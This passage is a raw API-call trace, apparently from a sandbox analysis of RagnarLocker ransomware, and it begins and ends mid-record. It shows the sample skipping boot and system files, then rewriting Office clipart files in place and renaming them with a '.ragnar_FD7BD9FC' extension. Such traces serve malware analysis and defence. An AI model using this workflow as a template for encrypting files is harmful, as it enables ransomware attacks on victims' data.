dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.717] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6bf6, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.717] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6bf6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6bf6, lpOverlapped=0x0) returned 1 [0088.718] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6bf6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.718] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6bf6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.718] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.718] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.718] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.718] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.718] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.718] GetProcessHeap () returned 0x580000 [0088.718] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.718] CloseHandle (hObject=0xf4) returned 1 [0088.718] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" [0088.719] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.ragnar_FD7BD9FC" [0088.719] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.719] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcca92500, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcca92500, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01358_.WMF", cAlternateFileName="")) returned 1 [0088.719] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.719] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01358_.WMF" | out: lpString1="NA01358_.WMF") returned="NA01358_.WMF" [0088.719] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF") returned=".WMF" [0088.719] lstrcmpiW (lpString1="NA01358_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.719] lstrcmpiW (lpString1="NA01358_.WMF", lpString2="autorun.inf") returned 1 [0088.719] lstrcmpiW (lpString1="NA01358_.WMF", lpString2="boot.ini") returned 1 [0088.719] lstrcmpiW (lpString1="NA01358_.WMF", lpString2="bootfont.bin") returned 1 [0088.719] lstrcmpiW (lpString1="NA01358_.WMF", lpString2="bootsect.bak") returned 1 [0088.719] lstrcmpiW (lpString1="NA01358_.WMF", lpString2="bootmgr") returned 1 [0088.719] lstrcmpiW (lpString1="NA01358_.WMF", lpString2="bootmgr.efi") returned 1 [0088.719] lstrcmpiW (lpString1="NA01358_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.719] lstrcmpiW (lpString1="NA01358_.WMF", lpString2="desktop.ini") returned 1 [0088.720] lstrcmpiW (lpString1="NA01358_.WMF", lpString2="iconcache.db") returned 1 [0088.720] lstrcmpiW (lpString1="NA01358_.WMF", lpString2="ntldr") returned -1 [0088.720] lstrcmpiW (lpString1="NA01358_.WMF", lpString2="ntuser.dat") returned -1 [0088.720] lstrcmpiW (lpString1="NA01358_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.720] lstrcmpiW (lpString1="NA01358_.WMF", lpString2="ntuser.ini") returned -1 [0088.720] lstrcmpiW (lpString1="NA01358_.WMF", lpString2="thumbs.db") returned -1 [0088.720] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.720] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.720] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.720] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.720] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.720] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.720] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf")) returned 0x20 [0088.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.721] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3438) returned 1 [0088.721] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd65, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.721] GetProcessHeap () returned 0x580000 [0088.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.721] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.722] VirtualAlloc (lpAddress=0x0, dwSize=0xd6e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.723] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.723] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.723] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd6e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd6e, lpOverlapped=0x0) returned 1 [0088.723] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.723] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd6e, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.723] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd6e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd6e, lpOverlapped=0x0) returned 1 [0088.723] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd6e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.723] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.723] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd6e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.723] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.723] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.723] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.724] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.724] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.724] GetProcessHeap () returned 0x580000 [0088.724] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.724] CloseHandle (hObject=0xf4) returned 1 [0088.724] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" [0088.724] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.ragnar_FD7BD9FC" [0088.724] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.725] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6b34400, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6b34400, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01361_.WMF", cAlternateFileName="")) returned 1 [0088.725] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.725] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01361_.WMF" | out: lpString1="NA01361_.WMF") returned="NA01361_.WMF" [0088.725] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF") returned=".WMF" [0088.725] lstrcmpiW (lpString1="NA01361_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.725] lstrcmpiW (lpString1="NA01361_.WMF", lpString2="autorun.inf") returned 1 [0088.725] lstrcmpiW (lpString1="NA01361_.WMF", lpString2="boot.ini") returned 1 [0088.725] lstrcmpiW (lpString1="NA01361_.WMF", lpString2="bootfont.bin") returned 1 [0088.725] lstrcmpiW (lpString1="NA01361_.WMF", lpString2="bootsect.bak") returned 1 [0088.725] lstrcmpiW (lpString1="NA01361_.WMF", lpString2="bootmgr") returned 1 [0088.725] lstrcmpiW (lpString1="NA01361_.WMF", lpString2="bootmgr.efi") returned 1 [0088.725] lstrcmpiW (lpString1="NA01361_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.725] lstrcmpiW (lpString1="NA01361_.WMF", lpString2="desktop.ini") returned 1 [0088.725] lstrcmpiW (lpString1="NA01361_.WMF", lpString2="iconcache.db") returned 1 [0088.725] lstrcmpiW (lpString1="NA01361_.WMF", lpString2="ntldr") returned -1 [0088.725] lstrcmpiW (lpString1="NA01361_.WMF", lpString2="ntuser.dat") returned -1 [0088.725] lstrcmpiW (lpString1="NA01361_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.725] lstrcmpiW (lpString1="NA01361_.WMF", lpString2="ntuser.ini") returned -1 [0088.725] lstrcmpiW (lpString1="NA01361_.WMF", lpString2="thumbs.db") returned -1 [0088.725] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.725] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.725] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.725] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.725] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.725] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.725] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf")) returned 0x20 [0088.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.726] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7028) returned 1 [0088.726] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.726] GetProcessHeap () returned 0x580000 [0088.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.726] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.728] VirtualAlloc (lpAddress=0x0, dwSize=0x1b74, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.728] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.728] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.728] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b74, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b74, lpOverlapped=0x0) returned 1 [0088.729] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.729] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b74, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.729] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b74, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b74, lpOverlapped=0x0) returned 1 [0088.729] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b74, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.729] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.729] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.729] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.729] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.729] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.729] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.729] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.730] GetProcessHeap () returned 0x580000 [0088.730] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.730] CloseHandle (hObject=0xf4) returned 1 [0088.730] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" [0088.730] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.ragnar_FD7BD9FC" [0088.730] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.730] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe5b0900, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe5b0900, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x40412, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01368_.WMF", cAlternateFileName="")) returned 1 [0088.730] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.730] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01368_.WMF" | out: lpString1="NA01368_.WMF") returned="NA01368_.WMF" [0088.730] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF") returned=".WMF" [0088.731] lstrcmpiW (lpString1="NA01368_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.731] lstrcmpiW (lpString1="NA01368_.WMF", lpString2="autorun.inf") returned 1 [0088.731] lstrcmpiW (lpString1="NA01368_.WMF", lpString2="boot.ini") returned 1 [0088.731] lstrcmpiW (lpString1="NA01368_.WMF", lpString2="bootfont.bin") returned 1 [0088.731] lstrcmpiW (lpString1="NA01368_.WMF", lpString2="bootsect.bak") returned 1 [0088.731] lstrcmpiW (lpString1="NA01368_.WMF", lpString2="bootmgr") returned 1 [0088.731] lstrcmpiW (lpString1="NA01368_.WMF", lpString2="bootmgr.efi") returned 1 [0088.731] lstrcmpiW (lpString1="NA01368_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.731] lstrcmpiW (lpString1="NA01368_.WMF", lpString2="desktop.ini") returned 1 [0088.731] lstrcmpiW (lpString1="NA01368_.WMF", lpString2="iconcache.db") returned 1 [0088.731] lstrcmpiW (lpString1="NA01368_.WMF", lpString2="ntldr") returned -1 [0088.731] lstrcmpiW (lpString1="NA01368_.WMF", lpString2="ntuser.dat") returned -1 [0088.731] lstrcmpiW (lpString1="NA01368_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.731] lstrcmpiW (lpString1="NA01368_.WMF", lpString2="ntuser.ini") returned -1 [0088.731] lstrcmpiW (lpString1="NA01368_.WMF", lpString2="thumbs.db") returned -1 [0088.731] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.731] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.731] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.731] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.731] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.731] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.731] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf")) returned 0x20 [0088.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.732] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=263186) returned 1 [0088.732] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x40409, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.732] GetProcessHeap () returned 0x580000 [0088.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.732] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.734] VirtualAlloc (lpAddress=0x0, dwSize=0x40412, flAllocationType=0x3000, flProtect=0x4) returned 0x480000 [0088.734] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.734] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.734] ReadFile (in: hFile=0xf4, lpBuffer=0x480000, nNumberOfBytesToRead=0x40412, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesRead=0x1eaf34*=0x40412, lpOverlapped=0x0) returned 1 [0088.740] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.742] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x40412, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.742] WriteFile (in: hFile=0xf4, lpBuffer=0x480000*, nNumberOfBytesToWrite=0x40412, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesWritten=0x1eaf30*=0x40412, lpOverlapped=0x0) returned 1 [0088.743] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x40412, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.743] VirtualFree (lpAddress=0x480000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.744] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x40412, 